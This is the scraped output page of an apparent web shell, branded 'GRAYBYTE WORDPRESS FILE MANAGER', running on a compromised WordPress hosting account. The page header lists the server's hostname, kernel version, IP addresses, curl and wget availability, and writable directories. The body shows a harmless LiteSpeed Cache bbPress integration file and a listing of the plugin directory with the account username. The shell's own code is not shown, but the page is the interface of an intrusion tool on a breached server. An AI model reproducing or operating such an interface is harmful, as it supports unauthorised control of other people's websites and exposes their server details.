✘✘ GRAYBYTE WORDPRESS FILE MANAGER ✘✘

​🇳​​🇦​​🇲​​🇪♯➤ server366.web-hosting.com ​🇻​♯➤ 4.18.0-553.50.1.lve.el8.x86_64 #1 SMP 🇾​♯➤ 2025

𝗛𝗢𝗠𝗘 𝗜𝗗 ♯➤ 67.223.118.204 ♯➤ 𝗔𝗗𝗠𝗜𝗡 𝗜𝗗 216.73.216.243
𝗢𝗣𝗧𝗜𝗢𝗡𝗦 ♯ CRL ♯➤ 𝗢𝗞 ┃ WGT ♯➤ 𝗢𝗞 ┃ SDO ♯➤ 𝗢𝗙𝗙 ┃ PKEX ♯➤ 𝗢𝗙𝗙
𝗗𝗘𝗔𝗖𝗧𝗜𝗩𝗔𝗧𝗘𝗗 ♯➤ 𝗔𝗟𝗟 𝗪𝗢𝗥𝗞𝗜𝗡𝗚....

𝗛𝗢𝗠𝗘
𝗖𝗨𝗥𝗥𝗘𝗡𝗧 𝗙𝗜𝗟𝗘 : /home/builxejc/public_html/wp-content/plugins/litespeed-cache/thirdparty//bbpress.cls.php
<?php
/**
 * The Third Party integration with the bbPress plugin.
 *
 * @since      1.0.5
 * @package    LiteSpeed
 * @subpackage LiteSpeed_Cache/thirdparty
 */

namespace LiteSpeed\Thirdparty;

defined( 'WPINC' ) || exit;

use LiteSpeed\Router;

/**
 * Integration for bbPress cache handling and purging.
 */
class BBPress {

	/**
	 * Detect if bbPress is installed and if the page is a bbPress page.
	 *
	 * @since 1.0.5
	 * @access public
	 * @return void
	 */
	public static function detect() {
		if ( function_exists( 'is_bbpress' ) ) {
			add_action( 'litespeed_api_purge_post', __CLASS__ . '::on_purge' ); // todo
			if ( apply_filters( 'litespeed_esi_status', false ) ) {
				// Don't consider private cache yet (will do if any feedback)
				add_action( 'litespeed_control_finalize', __CLASS__ . '::set_control' );
			}
		}
	}

	/**
	 * This filter is used to let the cache know if a page is cacheable.
	 *
	 * @since 1.2.0
	 * @access public
	 * @return void
	 */
	public static function set_control() {
		if ( ! apply_filters( 'litespeed_control_cacheable', false ) ) {
			return;
		}

		// Set non ESI public
		if ( is_bbpress() && Router::is_logged_in() ) {
			do_action( 'litespeed_control_set_nocache', 'bbpress nocache due to loggedin' );
		}
	}

	/**
	 * When a bbPress page is purged, need to purge the forums list and
	 * any/all ancestor pages.
	 *
	 * @since 1.0.5
	 * @access public
	 * @param int $post_id The post id of the page being purged.
	 * @return void
	 */
	public static function on_purge( $post_id ) {
		if ( ! is_bbpress() ) {
			if ( ! function_exists( 'bbp_is_forum' ) || ! function_exists( 'bbp_is_topic' ) || ! function_exists( 'bbp_is_reply' ) ) {
				return;
			}
			if ( ! bbp_is_forum( $post_id ) && ! bbp_is_topic( $post_id ) && ! bbp_is_reply( $post_id ) ) {
				return;
			}
		}

		// Need to purge base forums page, bbPress page was updated.
		do_action( 'litespeed_purge_posttype', bbp_get_forum_post_type() );
		$ancestors = get_post_ancestors( $post_id );

		// If there are ancestors, need to purge them as well.
		if ( ! empty( $ancestors ) ) {
			foreach ( $ancestors as $ancestor ) {
				do_action( 'litespeed_purge_post', $ancestor );
			}
		}

		global $wp_widget_factory;
		$replies_widget = $wp_widget_factory->get_widget_object( 'BBP_Replies_Widget' );
		if ( bbp_is_reply( $post_id ) && $replies_widget ) {
			do_action( 'litespeed_purge_widget', $replies_widget->id );
		}

		$topic_widget = $wp_widget_factory->get_widget_object( 'BBP_Topics_Widget' );
		if ( bbp_is_topic( $post_id ) && $topic_widget ) {
			do_action( 'litespeed_purge_widget', $topic_widget->id );
		}
	}
}


Current_dir [ 𝗪𝗥𝗜𝗧𝗘𝗔𝗕𝗟𝗘 ] Document_root [ 𝗪𝗥𝗜𝗧𝗘𝗔𝗕𝗟𝗘 ]


[ Back ]
𝗡𝗔𝗠𝗘
𝗦𝗜𝗭𝗘
𝗟𝗔𝗦𝗧 𝗧𝗢𝗨𝗖𝗛
𝗨𝗦𝗘𝗥
𝗦𝗧𝗔𝗧𝗨𝗦
𝗙𝗨𝗡𝗖𝗧𝗜𝗢𝗡𝗦
..
--
9 Jun 2026 8.38 AM
builxejc / builxejc
0755
aelia-currencyswitcher.cls.php
2.669 KB
1 Apr 2026 8.54 PM
builxejc / builxejc
0644
amp.cls.php
2.441 KB
1 Apr 2026 8.54 PM
builxejc / builxejc
0644
autoptimize.cls.php
0.889 KB
1 Apr 2026 8.54 PM
builxejc / builxejc
0644
avada.cls.php
0.794 KB
1 Apr 2026 8.54 PM
builxejc / builxejc
0644
bbpress.cls.php
2.575 KB
1 Apr 2026 8.54 PM
builxejc / builxejc
0644
beaver-builder.cls.php
1.116 KB
1 Apr 2026 8.54 PM
builxejc / builxejc
0644
caldera-forms.cls.php
0.787 KB
1 Apr 2026 8.54 PM
builxejc / builxejc
0644
divi-theme-builder.cls.php
3.567 KB
1 Apr 2026 8.54 PM
builxejc / builxejc
0644
elementor.cls.php
3.254 KB
1 Apr 2026 8.54 PM
builxejc / builxejc
0644
entry.inc.php
1.51 KB
1 Apr 2026 8.54 PM
builxejc / builxejc
0644
facetwp.cls.php
1.444 KB
1 Apr 2026 8.54 PM
builxejc / builxejc
0644
gravity-forms.cls.php
1.144 KB
1 Apr 2026 8.54 PM
builxejc / builxejc
0644
litespeed-check.cls.php
5.411 KB
1 Apr 2026 8.54 PM
builxejc / builxejc
0644
nextgengallery.cls.php
6.513 KB
1 Apr 2026 8.54 PM
builxejc / builxejc
0644
perfmatters.cls.php
0.973 KB
1 Apr 2026 8.54 PM
builxejc / builxejc
0644
theme-my-login.cls.php
1.01 KB
1 Apr 2026 8.54 PM
builxejc / builxejc
0644
user-switching.cls.php
0.774 KB
1 Apr 2026 8.54 PM
builxejc / builxejc
0644
wc-pdf-product-vouchers.cls.php
0.969 KB
1 Apr 2026 8.54 PM
builxejc / builxejc
0644
wcml.cls.php
1.741 KB
1 Apr 2026 8.54 PM
builxejc / builxejc
0644
woo-paypal.cls.php
0.849 KB
1 Apr 2026 8.54 PM
builxejc / builxejc
0644
woocommerce.cls.php
30.152 KB
1 Apr 2026 8.54 PM
builxejc / builxejc
0644
woocommerce.content.tpl.php
3.905 KB
1 Apr 2026 8.54 PM
builxejc / builxejc
0644
woocommerce.tab.tpl.php
0.225 KB
1 Apr 2026 8.54 PM
builxejc / builxejc
0644
wp-polls.cls.php
0.788 KB
1 Apr 2026 8.54 PM
builxejc / builxejc
0644
wp-postratings.cls.php
0.879 KB
1 Apr 2026 8.54 PM
builxejc / builxejc
0644
wpdiscuz.cls.php
1.182 KB
1 Apr 2026 8.54 PM
builxejc / builxejc
0644
wplister.cls.php
0.85 KB
1 Apr 2026 8.54 PM
builxejc / builxejc
0644
wpml.cls.php
1.021 KB
1 Apr 2026 8.54 PM
builxejc / builxejc
0644
wptouch.cls.php
0.858 KB
1 Apr 2026 8.54 PM
builxejc / builxejc
0644
yith-wishlist.cls.php
5.232 KB
1 Apr 2026 8.54 PM
builxejc / builxejc
0644

✘✘ GRAYBYTE WORDPRESS FILE MANAGER @ 2026 CONTACT ME ✘✘
Static GIF Static GIF